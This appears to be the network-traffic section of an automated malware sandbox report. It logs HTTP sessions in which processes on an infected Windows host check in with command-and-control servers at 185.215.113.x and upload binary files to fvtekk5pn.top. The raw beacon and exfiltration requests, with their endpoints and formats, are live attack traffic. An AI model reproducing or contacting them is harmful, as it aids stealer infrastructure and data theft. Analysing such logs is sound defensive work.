Nov 23, 2024 15:23:32.692853928 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47667 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:23:34.747144938 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:23:35.070730925 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47669 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:23:35.117674112 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:23:35.441541910 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47670 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:23:36.153132915 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:23:36.477493048 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47671 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:23:46.516926050 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:23:46.669560909 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:23:46.996045113 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47681 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:23:57.121496916 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:24:04.737040997 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:24:05.062864065 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47699 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:24:08.627177000 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:24:08.951761961 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47703 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:24:18.510727882 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:24:18.834690094 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47713 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:24:28.920814037 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:24:39.127440929 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:24:49.311892986 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:24:49.991731882 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:24:50.316456079 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47745 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:25:00.417299032 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:25:10.620043039 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:25:20.824883938 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:25:31.026464939 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:25:41.308259964 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:26:06.195996046 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:26:06.521486044 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47821 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:26:11.665623903 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:26:11.990041971 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 47826 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	50075	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:32.597623110 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 15:23:33.953457117 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:23:33.956142902 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 33 37 43 43 39 37 37 41 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="hwid"E837CC977A2C1204349748------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="build"mars------GDAAKFIDGIEGDGDHIDAK--
Nov 23, 2024 15:23:34.397011042 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50085	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:34.001976013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50093	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:36.000514030 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:23:37.429749966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	50095	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:36.117681026 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 15:23:37.463506937 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:23:37.466598034 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 33 37 43 43 39 37 37 41 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="hwid"E837CC977A2C1204349748------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="build"mars------FHJDBKJKFIECAAAKFBFB--
Nov 23, 2024 15:23:37.917825937 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50106	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:39.159323931 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:23:40.627919912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50118	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:42.260262012 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:23:43.647002935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50120	34.116.198.130	80	7912	C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:43.028532982 CET	641	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------huoZBZhsElcAhAmWRS9wTj Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 68 75 6f 5a 42 5a 68 73 45 6c 63 41 68 41 6d 57 52 53 39 77 54 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 69 6e 61 6b 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a af 79 1e 75 d9 27 a6 28 cc be 16 c1 7e 6e 5b 92 c5 16 a0 be 6b 2c 6c 43 ec f5 7d b2 9d 45 e5 bb 93 d5 1d 92 87 e4 18 ad 02 d1 98 1b 36 96 a1 6f ca 43 35 1c f5 ac 70 3e 37 9b df 3a 24 fe 30 22 60 ee 2c cc c9 e3 da 2d 2d 65 b9 f0 48 fb c9 56 3a 91 94 ee 31 a3 33 af 34 85 55 e4 24 ef 8e e9 5b 0b 29 ae 2f 08 34 69 39 30 aa a2 4c ea dc 23 bb 36 e0 b1 ab 6f e2 8f 35 77 0c 16 f0 8c 02 9e 50 41 99 f8 c6 2b c6 65 40 ca 87 3d ff ce 28 c0 00 56 96 4f 3d 99 2d 06 6c da a2 a0 0a 64 0d 9b 0e a7 98 6e 7a 3c 17 dd c1 fe f0 01 de 2d 65 50 71 09 [TRUNCATED] Data Ascii: --------------------------huoZBZhsElcAhAmWRS9wTjContent-Disposition: form-data; name="file"; filename="Zinake.bin"Content-Type: application/octet-streamyu'(~n[k,lC}E6oC5p>7:$0"`,--eHV:134U$[)/4i90L#6o5wPA+e@=(VO=-ldnz<-ePq5~)HB_?Yng>{Jn:76 8`C@0x"--------------------------huoZBZhsElcAhAmWRS9wTj--
Nov 23, 2024 15:23:44.410181046 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 14:23:44 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732373625 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50128	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:45.391532898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:23:46.801413059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50131	34.116.198.130	80	7912	C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:45.849539995 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 58863 Content-Type: multipart/form-data; boundary=------------------------aX8J5YGYSwLBQWwReB1BTS Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 58 38 4a 35 59 47 59 53 77 4c 42 51 57 77 52 65 42 31 42 54 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 69 74 6f 6d 69 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a b0 90 8e 8e 17 5c 18 5e fc 02 74 55 7e 36 42 ed 5e 3d b9 59 6e cb 75 6c 07 0e ac b8 2d 66 b7 d0 57 e9 95 86 b0 89 b9 78 a9 1c 15 8c d2 32 1b c0 8c 75 8d ac 36 84 a3 f0 35 10 54 a1 bb 83 4b fd b1 e6 ac b6 c7 23 d4 37 90 ea 67 c9 78 a6 03 dd e2 18 84 89 53 4d 38 2a e9 de f4 06 95 3a 47 5c 03 82 f0 16 ff 0a d5 48 80 c3 73 dd e4 92 33 76 dd ab 38 03 af 30 d2 7c 26 62 9d 3d 8c fe 23 cc 98 92 4e 2f 85 f7 74 c9 df 4f a8 6e 04 b8 f6 ff be db 54 45 ba 1a ba 9a f5 f3 28 c2 87 59 d8 6a 3d 4e a5 d0 db 11 5c b6 f9 fc 10 d7 81 c6 9f 7c 05 [TRUNCATED] Data Ascii: --------------------------aX8J5YGYSwLBQWwReB1BTSContent-Disposition: form-data; name="file"; filename="Xitomix.bin"Content-Type: application/octet-stream\^tU~6B^=Ynul-fWx2u65TK#7gxSM8:G\Hs3v80\|&b=#N/tOnTE(Yj=N\\|=8KQjv(X8Ra/L1HM}8b@_BiT3.\}&;0.8M_lr}@{+}2!-1D HdHeCH&@Iok5Z%&r`y_(}<t<~{1V^"eD5bES"SNDwU[jPjH$,<c=Z?s_64[;~q,ADp'!+Y~@4Dq725MiN`=K6*7oul/t^f"//K;pnOIReK{`6hs_P.)UE\=pE%tK@`<('6W34VsH'\|QL<83mfpR"^C (mm!k=]avweu6G0<47mo'nXkt~gC^]S"Zho,Lb2\n@c_gqDF#;dop)kl [TRUNCATED]
Nov 23, 2024 15:23:45.969429970 CET	4944	OUT	Data Raw: 15 42 ee 68 eb a0 c1 c4 29 45 de 6d f1 58 c7 88 83 7f 4e 3e 19 bb 98 a2 84 5a df 36 50 ef c6 40 68 83 88 86 52 21 e0 7c 2d b4 37 bb 16 ed d2 07 f8 53 c2 b0 36 28 72 13 f4 f4 37 e4 38 2f 3b 0c e1 d2 7d 3c a7 a8 ef 67 20 27 73 63 af 7a d8 f3 6e b7 Data Ascii: Bh)EmXN>Z6P@hR!\|-7S6(r78/;}<g 'scznW/Q}DG4!W<xK]$aMJ_9#&_a;'i#y_sIq0{1k4ZSc^HblS^j!>g{$f"[fH/X*dtI
Nov 23, 2024 15:23:45.969470978 CET	4944	OUT	Data Raw: 4e e3 ea fb 78 6e 91 81 f2 3f 60 60 90 97 0f 89 4b e6 78 cf b3 c2 8b 51 c5 50 71 1d 8f a7 7d 36 49 1e 18 49 9e 5a f5 47 0b 05 64 60 08 b3 d2 d2 cb ef 99 54 8e bd e7 87 7d 9f c2 e1 3d 72 43 18 ec 56 b3 ab ff d7 9a 50 3d 4b 94 be d7 3e 5d 1d 63 70 Data Ascii: Nxn?``KxQPq}6IIZGd`T}=rCVP=K>]cp;6%)iIj.p?s4T;"vQib24E{2^4u\|&Dq7&kf4}&qGZ:TcPi(w:;ud!j
Nov 23, 2024 15:23:45.969657898 CET	9888	OUT	Data Raw: 73 7d d3 86 7b a8 e0 1a 29 c5 b2 4a 6e 95 c5 d0 5c 9c c1 62 68 eb bb e4 ce 27 35 2b 99 d9 ab 30 e5 88 4c 2c d0 91 ac 76 e3 37 45 91 f4 b6 25 c7 cd 38 16 b6 bb 95 c3 49 c3 45 b8 eb b3 83 a1 3c b2 b2 03 3a 96 c6 3d b8 49 3d 20 19 60 7d 3e d4 36 c3 Data Ascii: s}{)Jn\bh'5+0L,v7E%8IE<:=I= `}>6S&+U`S^]hncl'AH8Tg.h94e@({*\cs?{sNvBW'eg;r3QNK1h>?N2q,{3$eQ
Nov 23, 2024 15:23:45.969681978 CET	4944	OUT	Data Raw: 87 e4 09 bb 38 9a 1b 2d 0f 38 06 62 19 6e ae 51 62 ed ab 8f ee 57 5a 4d 1f 8e 31 0d 20 fa 25 2d 31 59 cc ff f1 d3 b4 68 1d fa c4 b5 a0 03 af 02 cb 97 84 2a 07 ba f1 71 cc 35 d7 bc 92 8d 6f 2e b4 b9 3e dd c2 da c2 f3 51 af 7c d2 44 29 10 5f 7b 6d Data Ascii: 8-8bnQbWZM1 %-1Yhq5o.>Q\|D)_{mKkfvUQ2?>0u8$f>jp=*>b3\|h(65ki!p#Fg#6_w0a?"]I!Jt]m2N,V3%#X
Nov 23, 2024 15:23:46.089026928 CET	2472	OUT	Data Raw: 05 fd 6f 5e 76 1f fb 3b 02 0c 75 b5 92 87 94 e5 ea d5 fb 51 ba 03 2b 0e 72 35 aa e2 62 00 b5 89 be b8 9a f3 e6 b8 35 34 a7 b5 9d 48 b7 ef 4c fa c6 13 b9 eb f0 f3 f2 a8 53 fd ad 46 59 25 65 3f 9b 50 96 17 b0 9f b6 33 61 42 61 b9 61 be 27 8c b6 29 Data Ascii: o^v;uQ+r5b54HLSFY%e?P3aBaa')Avv8pe\BEqC.]! k~~CH<gi0J]e'b0Q{9q'7AO(0lS7uld1$pvS\;4kjs$R
Nov 23, 2024 15:23:46.089143991 CET	2472	OUT	Data Raw: a5 6f 55 41 05 18 eb f9 59 ea d9 7d 18 cf ec fe 44 18 e5 53 2a 70 66 05 f9 d5 25 e4 0d be db fb fd 0c b9 f7 7e bf 1a 43 fe bf 82 ed e9 0c e2 94 f9 48 26 ef 49 21 30 53 e4 ec f2 c4 3b aa 01 30 2b 48 68 1b a0 ee e0 f0 94 7a 9b 34 b8 51 16 ef bc ed Data Ascii: oUAY}DSpf%~CH&I!0S;0+Hhz4Qv<bF0"m]Uw4iHVQ]%ucM!5J5q4YN#e3l!>&#Q&i6NFG4,ep7"hRPV]=m
Nov 23, 2024 15:23:46.089262009 CET	2472	OUT	Data Raw: b8 01 3d f7 00 62 15 25 9f 5f fb d8 e5 c6 8b b8 e2 42 a0 55 32 7b f4 0e 90 75 0d 4b fe 25 e7 74 0a 66 45 a6 81 4a 0b 51 b1 7e 65 0f 6f bb aa 2c 88 8c 75 20 c4 8c bd f5 58 e3 34 72 eb 25 c3 75 7e 8f 00 a1 4f 08 5f c8 25 40 19 cd 3e c9 f2 63 7b 01 Data Ascii: =b%_BU2{uK%tfEJQ~eo,u X4r%u~O_%@>c{>A=ageF:&M"b!vWI5=vnxI.P{[>>T2GY&k\|&\|mlNaHE9ED5q!W/
